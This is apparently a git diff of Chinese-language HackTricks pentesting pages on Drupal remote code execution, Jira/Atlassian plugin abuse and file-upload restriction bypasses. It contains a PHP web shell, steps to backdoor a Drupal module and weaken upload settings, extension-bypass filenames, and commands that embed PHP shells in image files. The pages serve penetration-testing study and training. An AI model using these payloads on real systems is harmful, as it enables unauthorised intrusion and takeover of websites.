<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果您对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
如果您对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
|
@ -76,7 +76,7 @@ vncpwd <vnc password file>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -21,7 +21,7 @@
|
||||||
在旧版本的 Drupal **(8 之前)**,可以以管理员身份登录并 **启用 `PHP filter` 模块**,该模块“允许嵌入的 PHP 代码/片段被评估。”但从版本 8 开始,该模块默认未安装。
|
在旧版本的 Drupal **(8 之前)**,可以以管理员身份登录并 **启用 `PHP filter` 模块**,该模块“允许嵌入的 PHP 代码/片段被评估。”但从版本 8 开始,该模块默认未安装。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
您需要 **安装 php 插件**(通过访问 _/modules/php_ 检查,如果返回 **403**,则 **存在**,如果 **未找到**,则 **php 插件未安装**)
|
您需要 **安装插件 php**(通过访问 _/modules/php_ 检查,如果返回 **403**,则 **存在**,如果 **未找到**,则 **插件 php 未安装**)
|
||||||
|
|
||||||
前往 _Modules_ -> (**检查**) _PHP Filter_ -> _保存配置_
|
前往 _Modules_ -> (**检查**) _PHP Filter_ -> _保存配置_
|
||||||
|
|
||||||
|
@ -43,7 +43,7 @@ curl http://drupal-site.local/node/3
|
||||||
|
|
||||||
从版本 **8 开始,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块不再默认安装**。要利用此功能,我们必须 **自己安装该模块**。
|
从版本 **8 开始,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块不再默认安装**。要利用此功能,我们必须 **自己安装该模块**。
|
||||||
|
|
||||||
1. 从 Drupal 网站下载该模块的最新版本。
|
1. 从 Drupal 网站下载最新版本的模块。
|
||||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||||
2. 下载完成后,转到 **`Administration`** > **`Reports`** > **`Available updates`**。
|
2. 下载完成后,转到 **`Administration`** > **`Reports`** > **`Available updates`**。
|
||||||
3. 点击 **`Browse`**,选择我们下载的目录中的文件,然后点击 **`Install`**。
|
3. 点击 **`Browse`**,选择我们下载的目录中的文件,然后点击 **`Install`**。
|
||||||
|
@ -62,7 +62,7 @@ curl http://drupal-site.local/node/3
|
||||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||||
tar xvf captcha-8.x-1.2.tar.gz
|
tar xvf captcha-8.x-1.2.tar.gz
|
||||||
```
|
```
|
||||||
* 创建一个 **PHP web shell**,内容为:
|
* 创建一个包含以下内容的 **PHP web shell**:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
system($_GET["cmd"]);
|
system($_GET["cmd"]);
|
||||||
|
@ -75,21 +75,21 @@ RewriteEngine On
|
||||||
RewriteBase /
|
RewriteBase /
|
||||||
</IfModule>
|
</IfModule>
|
||||||
```
|
```
|
||||||
* 上述配置将在我们请求 /modules 中的文件时应用 / 文件夹的规则。将这两个文件复制到 captcha 文件夹并创建一个归档。
|
* 上述配置将在我们请求 /modules 中的文件时应用规则到 / 文件夹。将这两个文件复制到 captcha 文件夹并创建一个归档。
|
||||||
```bash
|
```bash
|
||||||
mv shell.php .htaccess captcha
|
mv shell.php .htaccess captcha
|
||||||
tar cvf captcha.tar.gz captcha/
|
tar cvf captcha.tar.gz captcha/
|
||||||
```
|
```
|
||||||
* 假设我们对网站有**管理访问权限**,点击侧边栏的**`管理`**,然后点击**`扩展`**。接下来,点击**`+ 安装新模块`**按钮,我们将被带到安装页面,例如`http://drupal-site.local/admin/modules/install`。浏览到后门化的验证码归档并点击**`安装`**。
|
* 假设我们对网站有 **管理访问权限**,点击侧边栏的 **`管理`**,然后点击 **`扩展`**。接下来,点击 **`+ 安装新模块`** 按钮,我们将被带到安装页面,例如 `http://drupal-site.local/admin/modules/install` 浏览到后门化的 Captcha 压缩包并点击 **`安装`**。
|
||||||
* 安装成功后,浏览到**`/modules/captcha/shell.php`**以执行命令。
|
* 安装成功后,浏览到 **`/modules/captcha/shell.php`** 执行命令。
|
||||||
|
|
||||||
## 使用配置同步对Drupal进行后门化 <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
## 使用配置同步对 Drupal 进行后门化 <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||||
|
|
||||||
**分享者** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
**分享者** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||||
|
|
||||||
### 第1部分(激活_媒体_和_媒体库_)
|
### 第 1 部分(激活 _媒体_ 和 _媒体库_)
|
||||||
|
|
||||||
在_扩展_菜单(/admin/modules)中,您可以激活看似已经安装的插件。默认情况下,插件_媒体_和_媒体库_似乎未被激活,因此让我们激活它们。
|
在 _扩展_ 菜单 (/admin/modules) 中,您可以激活看似已经安装的插件。默认情况下,插件 _媒体_ 和 _媒体库_ 似乎未被激活,因此让我们激活它们。
|
||||||
|
|
||||||
激活前:
|
激活前:
|
||||||
|
|
||||||
|
@ -97,20 +97,20 @@ tar cvf captcha.tar.gz captcha/
|
||||||
|
|
||||||
激活后:
|
激活后:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### 第2部分(利用_配置同步_功能) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
### 第 2 部分(利用功能 _配置同步_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||||
|
|
||||||
我们将利用_配置同步_功能来转储(导出)和上传(导入)Drupal配置条目:
|
我们将利用 _配置同步_ 功能来转储(导出)和上传(导入)Drupal 配置条目:
|
||||||
|
|
||||||
* /admin/config/development/configuration/single/export
|
* /admin/config/development/configuration/single/export
|
||||||
* /admin/config/development/configuration/single/import
|
* /admin/config/development/configuration/single/import
|
||||||
|
|
||||||
**补丁 system.file.yml**
|
**补丁 system.file.yml**
|
||||||
|
|
||||||
让我们从补丁第一个条目`allow_insecure_uploads`开始:
|
让我们从以下内容开始修补第一个条目 `allow_insecure_uploads`:
|
||||||
|
|
||||||
文件:system.file.yml
|
文件:system.file.yml
|
||||||
```
|
```
|
||||||
|
@ -140,9 +140,9 @@ allow_insecure_uploads: true
|
||||||
|
|
||||||
**修补 field.field.media.document.field\_media\_document.yml**
|
**修补 field.field.media.document.field\_media\_document.yml**
|
||||||
|
|
||||||
然后,修补第二个条目 `file_extensions` 从:
|
然后,修补第二个条目 `file_extensions` 从:
|
||||||
|
|
||||||
文件: field.field.media.document.field\_media\_document.yml
|
文件:field.field.media.document.field\_media\_document.yml
|
||||||
```
|
```
|
||||||
|
|
||||||
...
|
...
|
||||||
|
@ -270,16 +270,16 @@ programs whose distribution conditions are different, write to the author
|
||||||
感谢您花时间阅读本文,希望它能帮助您获取一些 shells。
|
感谢您花时间阅读本文,希望它能帮助您获取一些 shells。
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -9,13 +9,13 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -23,9 +23,9 @@
|
||||||
|
|
||||||
## 检查权限
|
## 检查权限
|
||||||
|
|
||||||
在 Jira 中,**任何用户**(无论是否经过身份验证)都可以通过 `/rest/api/2/mypermissions` 或 `/rest/api/3/mypermissions` 端点 **检查权限**。这些端点揭示了用户当前的权限。当 **未经过身份验证的用户拥有权限** 时,出现了一个显著的担忧,这表明存在 **安全漏洞**,可能有资格获得 **赏金**。同样,**经过身份验证的用户的意外权限** 也突显了一个 **漏洞**。
|
在 Jira 中,**任何用户**(无论是否经过身份验证)都可以通过 `/rest/api/2/mypermissions` 或 `/rest/api/3/mypermissions` 端点 **检查权限**。这些端点揭示了用户当前的权限。当 **未认证用户拥有权限** 时,出现了一个显著的担忧,这表明存在 **安全漏洞**,可能有资格获得 **赏金**。同样,**认证用户的意外权限** 也突显了一个 **漏洞**。
|
||||||
|
|
||||||
在 **2019年2月1日** 进行了重要的 **更新**,要求 'mypermissions' 端点包含 **'permission' 参数**。此要求旨在通过指定查询的权限来 **增强安全性**: [在这里查看](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
在 **2019年2月1日** 进行了重要的 **更新**,要求 'mypermissions' 端点包含 **'permission' 参数**。此要求旨在通过指定查询的权限来 **增强安全性**:[在这里查看](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||||
|
|
||||||
* ADD\_COMMENTS
|
* ADD\_COMMENTS
|
||||||
* ADMINISTER
|
* ADMINISTER
|
||||||
|
@ -69,19 +69,19 @@
|
||||||
* VIEW\_VOTERS\_AND\_WATCHERS
|
* VIEW\_VOTERS\_AND\_WATCHERS
|
||||||
* WORK\_ON\_ISSUES
|
* WORK\_ON\_ISSUES
|
||||||
|
|
||||||
示例: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
示例:`https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS`
|
||||||
```bash
|
```bash
|
||||||
#Check non-authenticated privileges
|
#Check non-authenticated privileges
|
||||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||||
```
|
```
|
||||||
## 自动化枚举
|
## 自动枚举
|
||||||
|
|
||||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||||
|
|
||||||
## Atlasian 插件
|
## Atlasian 插件
|
||||||
|
|
||||||
如在此 [**博客**](https://cyllective.com/blog/posts/atlassian-audit-plugins) 中所示,在关于 [插件模块 ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) 的文档中,可以检查不同类型的插件,例如:
|
如在此 [**博客**](https://cyllective.com/blog/posts/atlassian-audit-plugins) 中所述,在关于 [插件模块 ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) 的文档中,可以检查不同类型的插件,例如:
|
||||||
|
|
||||||
* [REST 插件模块 ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): 暴露 RESTful API 端点
|
* [REST 插件模块 ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): 暴露 RESTful API 端点
|
||||||
* [Servlet 插件模块 ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): 将 Java servlets 部署为插件的一部分
|
* [Servlet 插件模块 ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): 将 Java servlets 部署为插件的一部分
|
||||||
|
@ -129,22 +129,22 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||||
* **反向Shell**:或者获取一个反向Shell。
|
* **反向Shell**:或者获取一个反向Shell。
|
||||||
* **DOM代理**:如果Confluence在私有网络内,可以通过某个有访问权限的用户的浏览器建立连接,例如通过它联系服务器执行命令。
|
* **DOM代理**:如果Confluence在私有网络内,可以通过某个有访问权限的用户的浏览器建立连接,例如通过它联系服务器执行命令。
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践AWS黑客攻击:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践GCP黑客攻击:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或**在Twitter上关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub仓库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub仓库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -32,7 +32,7 @@
|
||||||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||||
* **Flash**: _.swf_
|
* **Flash**: _.swf_
|
||||||
* **Perl**: _.pl, .cgi_
|
* **Perl**: _.pl, .cgi_
|
||||||
* **Erlang Yaws Web Server**: _.yaws_
|
* **Erlang Yaws Web 服务器**: _.yaws_
|
||||||
|
|
||||||
### 绕过文件扩展名检查
|
### 绕过文件扩展名检查
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@
|
||||||
* _file._
|
* _file._
|
||||||
* _file.php...._
|
* _file.php...._
|
||||||
* _file.pHp5...._
|
* _file.pHp5...._
|
||||||
4. 尝试通过 **欺骗服务器端的扩展解析器** 来绕过保护,使用像 **双重** **扩展名** 或 **在扩展名之间添加垃圾** 数据(**null** 字节)等技术。_你也可以使用 **之前的扩展名** 来准备更好的有效载荷。_
|
4. 尝试通过 **欺骗服务器端的扩展解析器** 来绕过保护,使用像 **双重** 扩展名或 **添加垃圾** 数据(**空** 字节)在扩展名之间。 _你也可以使用 **之前的扩展名** 来准备更好的有效载荷。_
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.pHp5_
|
* _file.png.pHp5_
|
||||||
* _file.php#.png_
|
* _file.php#.png_
|
||||||
|
@ -62,15 +62,15 @@
|
||||||
5. 在之前的检查中添加 **另一层扩展名**:
|
5. 在之前的检查中添加 **另一层扩展名**:
|
||||||
* _file.png.jpg.php_
|
* _file.png.jpg.php_
|
||||||
* _file.php%00.png%00.jpg_
|
* _file.php%00.png%00.jpg_
|
||||||
6. 尝试将 **exec 扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用 Apache 配置错误的情况,其中任何带有扩展名 **_**.php**_** 的内容,但不一定以 .php 结尾的内容将执行代码):
|
6. 尝试将 **exec 扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用 Apache 配置错误,其中任何带有扩展名 **_**.php**_** 的内容,但不一定以 .php 结尾的内容将执行代码):
|
||||||
* _例如:file.php.png_
|
* _例如: file.php.png_
|
||||||
7. 在 **Windows** 中使用 **NTFS 备用数据流 (ADS)**。在这种情况下,禁止扩展名后和允许扩展名前会插入一个冒号字符“:”。因此,服务器上将创建一个 **带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。 “**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
7. 在 **Windows** 中使用 **NTFS 备用数据流 (ADS)**。在这种情况下,冒号字符 “:” 将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个 **带有禁止扩展名的空文件**(例如 “file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。 “**::$data**” 模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如 “file.asp::$data.”)
|
||||||
8. 尝试打破文件名限制。有效扩展名被截断,恶意 PHP 被保留。 AAA<--SNIP-->AAA.php
|
8. 尝试打破文件名限制。有效扩展名被截断。恶意 PHP 被保留。 AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux 最大 255 字节
|
# Linux 最大 255 字节
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png
|
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 减去 4 并添加 .png
|
||||||
# 上传文件并检查响应允许多少个字符。假设 236
|
# 上传文件并检查响应允许多少个字符。假设 236
|
||||||
python -c 'print "A" * 232'
|
python -c 'print "A" * 232'
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
|
@ -86,11 +86,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` 或者你也可以 **直接在图像中引入有效载荷**:\
|
`\` 或者你也可以 **直接在图像中引入有效载荷**:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
* 如果 **压缩被添加到你的图像**,例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用 **PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,使其 **在压缩中存活**。
|
* 如果 **压缩被添加到你的图像**,例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用 **PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本以 **在压缩中存活**。
|
||||||
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||||
* 网页也可能会 **调整图像的大小**,例如使用 PHP-GD 函数 `imagecopyresized` 或 `imagecopyresampled`。然而,你可以使用 **IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,使其 **在压缩中存活**。
|
